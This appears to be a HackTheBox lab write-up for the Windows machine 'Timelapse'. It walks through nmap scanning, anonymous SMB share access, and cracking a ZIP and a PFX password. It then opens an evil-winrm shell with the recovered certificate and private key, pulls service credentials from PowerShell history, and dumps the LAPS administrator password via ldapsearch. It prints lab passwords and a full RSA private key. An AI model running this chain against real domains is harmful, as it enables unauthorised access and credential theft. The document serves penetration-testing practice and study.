Timelapse - HackTheBox Writeup (10.10.11.152)

Posted on Sun, Jul 17, 2022 Easy Windows Active Directory SMB LAPS
Easy-difficulty Windows machine with a focus on Active Directory LDAP and SMB enumeration. Privilege escalation by recovering service account credentials in PowerShell history logs, then dumping LAPS passwords from the service account.

Preface

I have been a bit tardy with HackTheBox lately, so I thought I will give this “easy” machine a go.

As it turns out, while the concept of the attack was quite simple and consisted of nothing new, the enumeration wasn’t as easy as I thought it would be and really made me realise I need to up my enumeration game. It’s so very easy to miss simple things like checking for SMB shares accessible with null authentication, or even just checking for open UDP ports.

Reconnaissance

As always, before we start, let’s add the target IP and hostname to our hosts file:

$ sudo nano /etc/hosts

10.10.11.152    timelapse.htb

We perform a simple port scan to see what services are running on the target.

$ nmap -p- timelapse.htb -Pn | tee ports.nmap

Nmap scan report for timelapse.htb (10.10.11.152)
Host is up (0.032s latency).
Not shown: 65519 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
5986/tcp  open  wsmans
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49696/tcp open  unknown
57139/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 105.12 seconds

We see that the target has quite a lot of services running on it. Ignoring the high port numbers (>40000), let’s get more information about them by performing a script scan (-sC) with version detection enabled (-sV):

$ nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,5986,9389 timelapse.htb -Pn | tee targeted.nmap

Nmap scan report for timelapse.htb (10.10.11.152)
Host is up (0.029s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-07-10 19:30:33Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn: 
|_  http/1.1
|_ssl-date: 2022-07-10T19:31:54+00:00; +7h59m58s from scanner time.
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after:  2022-10-25T14:25:29
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2022-07-10T19:31:15
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: mean: 7h59m57s, deviation: 0s, median: 7h59m57s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.62 seconds

The target is running DNS, Kerberos, Windows RPC, NetBIOS, LDAP, SMB, and a plethora of other Active Directory related services, which makes me think our target is a domain controller. Curiously, WinRM is also exposed on port 5986, so that could be an entry point for us. SMB message signing is also enabled and required, which means there won’t be any opportunity for SMB relay attacks if we were to discover additional hosts on the network.

Enumeration

LDAP Enumeration

We begin our enumeration by performing a few LDAP search queries. To start off, we query the LDAP server for naming contexts to see if anonymous authentication is allowed:

$ ldapsearch -x -h timelapse.htb -s base namingcontexts

# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=timelapse,DC=htb
namingcontexts: CN=Configuration,DC=timelapse,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=timelapse,DC=htb
namingcontexts: DC=DomainDnsZones,DC=timelapse,DC=htb
namingcontexts: DC=ForestDnsZones,DC=timelapse,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

Querying for scope subtree instead of baseObject:

$ ldapsearch -x -h timelapse.htb -s sub -b "DC=timelapse,DC=htb"

# extended LDIF
#
# LDAPv3
# base <DC=timelapse,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1

The LDAP server is returning an error and telling us that a successful bind is necessary. It seems that we will need some credentials before we can get any useful information out of LDAP, so let’s move on.

Scanning for UDP ports

After trying to enumerate for information RPC and setting up a zone transfer with DNS, I couldn’t find anything useful and ran into a wall. On recommendation of a friend, I decided to also scan for UDP ports. Scanning all of the ports will take a long time as UDP is a connectionless protocol, so I’ve opted to scan only the common ports:

$ sudo nmap -sU timelapse.htb | tee ports-udp.nmap

Nmap scan report for timelapse.htb (10.10.11.152)
Host is up (0.030s latency).
Not shown: 997 open|filtered udp ports (no-response)
PORT    STATE SERVICE
53/udp  open  domain
123/udp open  ntp
389/udp open  ldap

Nmap done: 1 IP address (1 host up) scanned in 17.14 seconds

We see that the Network Time Protocol (NTP) is running on the machine, though this isn’t unexpected as our target is a domain controller.

$ sudo nmap -sC -sV -sU -p 53,123,389 timelapse.htb | tee targeted-udp.nmap

Nmap scan report for timelapse.htb (10.10.11.152)
Host is up (0.030s latency).

PORT    STATE SERVICE VERSION
53/udp  open  domain  (generic dns response: SERVFAIL)
| fingerprint-strings: 
|   NBTStat: 
|_    CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
123/udp open  ntp     NTP v3
| ntp-info: 
|_  
389/udp open  ldap    Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-UDP:V=7.92%I=7%D=7/10%Time=62CACB27%P=x86_64-pc-linux-gnu%r(NBTS
SF:tat,32,"\x80\xf0\x80\x82\0\x01\0\0\0\0\0\0\x20CKAAAAAAAAAAAAAAAAAAAAAAA
SF:AAAAAAA\0\0!\0\x01");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 8h00m07s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.62 seconds

At first, I thought we would have to somehow attack NTP as hinted by the machine name “Timelapse”, however, I wasn’t able to find anything useful other than DDoS amplification attacks and moved on.

SMB Enumeration

Looking at SMB now, let’s use smbclient to enumerate any open shares with null authentication:

$ smbclient -L timelapse.htb -N

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share 
Shares          Disk      
SYSVOL          Disk      Logon server share

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to timelapse.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Looks like we received some error with SMB1, but this shouldn’t be cause for alarm. From the share enumeration, we see there is a “Shares” disk that we can read without authentication. Let’s explore further:

$ smbclient //timelapse.htb/Shares -N

> dir

smb: \> dir
  .                                   D        0  Tue Oct 26 02:09:15 2021
  ..                                  D        0  Tue Oct 26 02:09:15 2021
  Dev                                 D        0  Tue Oct 26 06:10:06 2021
  HelpDesk                            D        0  Tue Oct 26 02:18:42 2021

6367231 blocks of size 4096. 2423634 blocks available

There are some development-related files here, let’s mount into the share and copy the files so we can analyse them locally:

$ mkdir smb && sudo mount -t cifs //timelapse.htb/Shares ./smb

$ cp -r ./smb/* .

$ sudo umount ./smb

We find a password-protected ZIP file in the /Dev folder, we can extract the password hash and try to crack it:

$ zip2john ./Dev/winrm_backup.zip > winrm_backup_zip.hash

With the hash extracted, we see that it’s a PKZIP hash format. We will start cracking it with John the Ripper using the infamous rockyou.txt dictionary:

$ john ./winrm_backup_zip.hash --wordlist=~/Desktop/rockyou.txt

Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)     
1g 0:00:00:00 DONE (2022-07-10 23:35) 2.702g/s 9387Kp/s 9387Kc/s 9387KC/s surkerior..superkebab
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Within less than a second, we cracked the password: supremelegacy

Extracting the ZIP, we have a new .pfx certificate, presumably used for connecting to the machine via WinRM. However, we can’t simply use the .pfx file to connect, we must extract the .crt certificate and .key private key from it first, and doing so requires the “import key”, which is used to protect the keypair when the .pfx file was created.

We will once again extract the hash and crack it with John the Ripper:

$ pfx2john ./Dev/legacyy_dev_auth.pfx > dev_auth_pfx.hash

$ john dev_auth_pfx.hash --wordlist=~/Desktop/rockyou.txt

Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy       (?)     
1g 0:00:01:13 DONE (2022-07-10 23:33) 0.01357g/s 43885p/s 43885c/s 43885C/s thuglife06..thsco04
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

The cracked import password is: thuglegacy

With the password cracked, we can move on to extracting the certificate and private key from the .pfx file:

$ openssl pkcs12 -in ./Dev/legacyy_dev_auth.pfx -nocerts -out legacy_dev.key

After entering the import password, we enter a new password used to protect the new .key file. Note that this key does not have to be secure, as we will be decrypting it immediately after anyway. Next, we extract the certificate:

$ openssl pkcs12 -in ./Dev/legacyy_dev_auth.pfx -clcerts -nokeys -out legacy_dev.crt

Bag Attributes
    localKeyID: 01 00 00 00 
subject=CN = Legacyy

issuer=CN = Legacyy

-----BEGIN CERTIFICATE-----
MIIDJjCCAg6gAwIBAgIQHZmJKYrPEbtBk6HP9E4S3zANBgkqhkiG9w0BAQsFADAS
MRAwDgYDVQQDDAdMZWdhY3l5MB4XDTIxMTAyNTE0MDU1MloXDTMxMTAyNTE0MTU1
MlowEjEQMA4GA1UEAwwHTGVnYWN5eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAKVWB6NiFkce4vNNI61hcc6LnrNKhyv2ibznhgO7/qocFrg1/zEU/og0
0E2Vha8DEK8ozxpCwem/e2inClD5htFkO7U3HKG9801NFeN0VBX2ciIqSjA63qAb
YX707mBUXg8Ccc+b5hg/CxuhGRhXxA6nMiLo0xmAMImuAhJZmZQepOHJsVb/s86Z
7WCzq2I3VcWg+7XM05hogvd21lprNdwvDoilMlE8kBYa22rIWiaZismoLMJJpa72
MbSnWEoruaTrC8FJHxB8dbapf341ssp6AK37+MBrq7ZX2W74rcwLY1pLM6giLkcs
yOeu6NGgLHe/plcvQo8IXMMwSosUkfECAwEAAaN4MHYwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMCMDAGA1UdEQQpMCegJQYKKwYBBAGCNxQCA6AX
DBVsZWdhY3l5QHRpbWVsYXBzZS5odGIwHQYDVR0OBBYEFMzZDuSvIJ6wdSv9gZYe
rC2xJVgZMA0GCSqGSIb3DQEBCwUAA4IBAQBfjvt2v94+/pb92nLIS4rna7CIKrqa
m966H8kF6t7pHZPlEDZMr17u50kvTN1D4PtlCud9SaPsokSbKNoFgX1KNX5m72F0
3KCLImh1z4ltxsc6JgOgncCqdFfX3t0Ey3R7KGx6reLtvU4FZ+nhvlXTeJ/PAXc/
fwa2rfiPsfV51WTOYEzcgpngdHJtBqmuNw3tnEKmgMqp65KYzpKTvvM1JjhI5txG
hqbdWbn2lS4wjGy3YGRZw6oM667GF13Vq2X3WHZK5NaP+5Kawd/J+Ms6riY0PDbh
nx143vIioHYMiGCnKsHdWiMrG2UWLOoeUrlUmpr069kY/nn7+zSEa2pA
-----END CERTIFICATE-----

Finally, we also decrypt the private key:

$ openssl rsa -in legacy_dev.key -out legacy-decrypted.key

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEApVYHo2IWRx7i800jrWFxzoues0qHK/aJvOeGA7v+qhwWuDX/
MRT+iDTQTZWFrwMQryjPGkLB6b97aKcKUPmG0WQ7tTccob3zTU0V43RUFfZyIipK
MDreoBthfvTuYFReDwJxz5vmGD8LG6EZGFfEDqcyIujTGYAwia4CElmZlB6k4cmx
Vv+zzpntYLOrYjdVxaD7tczTmGiC93bWWms13C8OiKUyUTyQFhrbashaJpmKyags
wkmlrvYxtKdYSiu5pOsLwUkfEHx1tql/fjWyynoArfv4wGurtlfZbvitzAtjWksz
qCIuRyzI567o0aAsd7+mVy9CjwhcwzBKixSR8QIDAQABAoIBAHNSXmGHuSJCWOp7
k7cLkOYQXNGR2la/z7MDimZwamEc1nwGrcj+a8t1ixWShXxdFvYV8N7QUZFJDjsg
yAFTCsZis4LivgXTCDGS4wGT0lK/YzyRYs3hQgdLEeYL0Xk/X5v4iInWo9eloYnU
BD0Geqn91OqkmxneX/yocql59bVpyxjXcANGQWAUWlEQTqhCBZqR27lmQnYrNtAr
87CwfkPCwpVc+FJJj19UUxZx08SVtAKLPiRzAUbi8Oe/O/AQnYy+g2GIXUeJIi5c
S1W8l6z/uMPHTrq0YMXWEOosi+FJlCH766rvGlHU8pCTlb+sFmsOccR/AN9Z5f4V
redLxEECgYEA2HMEL12ns8MZ87vsyewbXZzegyVbYREPvY6rlVG2VpQCP4NjCrZC
pJA/a1mQCurty8BpgwwlK3B0AQ9Ie7cpMDfSUyYbl5JIktXktwYgLpjK5yhTPsD6
HV4tfuMCZN2E1ijyi16O9Smy6PuTSdi1Jr7zw8iE0I7KGaBsSw2byxcCgYEAw4wO
2B0Pkt8GJPtdavTOYkUfWwV0m1GY2vC1XnFuRQx+Ik6loO8atLmJy2dNZiLMIope
d/uUXIeaKQ8xUmh3ktlzT3/2P/051dfoCG9wCAnEwG+GwJ4Gruc5ulUjaWF1I04b
6y796aF3sxbQlixASq1jsVkT+CXoCGZw9QX5kDcCgYBCWD7YJeTZfNvfkaKq4ewh
bYvmtvSjdA9XEvwU8M7rCsMFpMge6G7U8kH+LZ2xOwFYisnMmVRrVDS6fmzBPwso
9HNLeUrL0tLb7yQD1aTXo43N/NZHTe9cQRnA4uRA9oVY/4QYpAs9qmJkd3hWEk60
aaNeR4AuTRY1dK688pbmUQKBgC+7N0BfT5bdI4XRaYsa+GmaT74LBdyHvVTr3omQ
DIeENiGvqtQuqQkmJNFmhMkCg2uG9Oo6mYtAeku9bp+b6lwJAhGMvZH/AKgHDJdK
hEEiCUmjr3PC3wTAYiHueDdX15zniv8MOGRXyn0He6C8anEQA76dbLdsoUezoazd
aX5fAoGBALCTY2/C3aEmSiWXNPxf63NoBRSvjDJxZ3DO+dsaRLW1K7RFCwCpIVTI
epgMsCFFmmL6ZmxwzDwyBqle2rdvl007vn4oiZAK/nk2v0oN6ixDmIFNHEoFrmSN
Ipt2m2w7RpUbdloGtPyIMPRMM7qXPAOWWbyPhrB4ZtDmm+zxFpUW
-----END RSA PRIVATE KEY-----

Exploitation

With the certificate and key obtained, we can gain shell access using evil-winrm. Note that SSL must be enabled using the -S option, and we will supply our certificate with -c and key with -k as so:

$ evil-winrm -S -c ./legacy_dev.crt -k ./legacy_dev-decrypted.key -i timelapse.htb

Boom, we get a shell as the user legacyy:

Evil-WinRM shell v3.3
Warning: SSL enabled
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\legacyy\Documents> _

First thing to do when we gain new access, is to check for privileges:

> whoami /all

USER INFORMATION
----------------

User Name         SID
================= ============================================
timelapse\legacyy S-1-5-21-671920749-559770252-3318990721-1603


GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                          Attributes
=========================================== ================ ============================================ ==================================================
Everyone                                    Well-known group S-1-1-0                                      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                     Mandatory group, Enabled by default, Enabled group
TIMELAPSE\Development                       Group            S-1-5-21-671920749-559770252-3318990721-3101 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity  Well-known group S-1-18-1                                     Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
...

And of course, we can get the user flag!

> type ../Desktop/user.txt

Privilege Escalation

To start our enumeration on the legacyy user, we will be using winPEAS. Let’s transfer the batch file with the upload module on evil-winrm:

> upload ~/Desktop/HTB/Common/winPEAS.bat

Then, we run winPEAS with stderr (file descriptor 2) redirecting to null, similar to 2>/dev/null on Linux:

> .\winPEAS.bat 2>$null

PS default transcript history

Checking PS history file
 Volume in drive C has no label.
 Volume Serial Number is 22CC-AE66

 Directory of C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine

03/04/2022  12:46 AM               434 ConsoleHost_history.txt
               1 File(s)            434 bytes
               0 Dir(s)  10,013,052,928 bytes free

   [i] Maybe you find something interesting

We see that PowerShell history logging is enabled, let’s download that file and analyse it locally:

> download C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt ConsoleHost_history.txt

whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

Great! The legacyy user entered the credentials for the svc_deploy user while creating a PS SecureString, and it was logged in the history file. We have obtained the new credentials: svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV

With the new password-based access, we can now perform an LDAP search to enumerate for more information:

$ ldapsearch -x -h timelapse.htb -D 'svc_deploy' -w 'E3R$Q62^12p7PLlC%KWaxuaV' -b "DC=timelapse,DC=htb"

This returned a lot of information, which will take some time to go through. Checking for the svc_deploy user’s group memberships, we find that it’s a member of the LAPS_Readers group, meaning it is able to read the LAPS local administrator password:

> net user svc_deploy

Local Group Memberships      *Remote Management Use
Global Group memberships     *LAPS_Readers         *Domain Users

Knowing this, we can filter for the LAPS password when making the LDAP query:

$ ldapsearch -x -h timelapse.htb -D 'svc_deploy' -w 'E3R$Q62^12p7PLlC%KWaxuaV' -b "DC=timelapse,DC=htb" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

# DC01, Domain Controllers, timelapse.htb
dn: CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
ms-Mcs-AdmPwd: }-%o9e8]&333-n+(VEi30J-}

We find the LAPS local administrator password under the domain controller: }-%o9e8]&333-n+(VEi30J-}

Now, all that’s left is to remote in as the administrator:

$ evil-winrm -u 'Administrator' -p '}-%o9e8]&333-n+(VEi30J-}' -i timelapse.htb -S

And we can get the root flag!

Resources

  1. Extracting the certificate and keys from a .pfx file - https://www.ibm.com/docs/en/arl/9.7?topic=certification-extracting-certificate-keys-from-pfx-file
  2. Enumerating AD users with LDAP - https://vk9-sec.com/enumerating-ad-users-with-ldap/
  3. Dump LAPS password with ldapsearch - https://room362.com/post/2017/dump-laps-passwords-with-ldapsearch/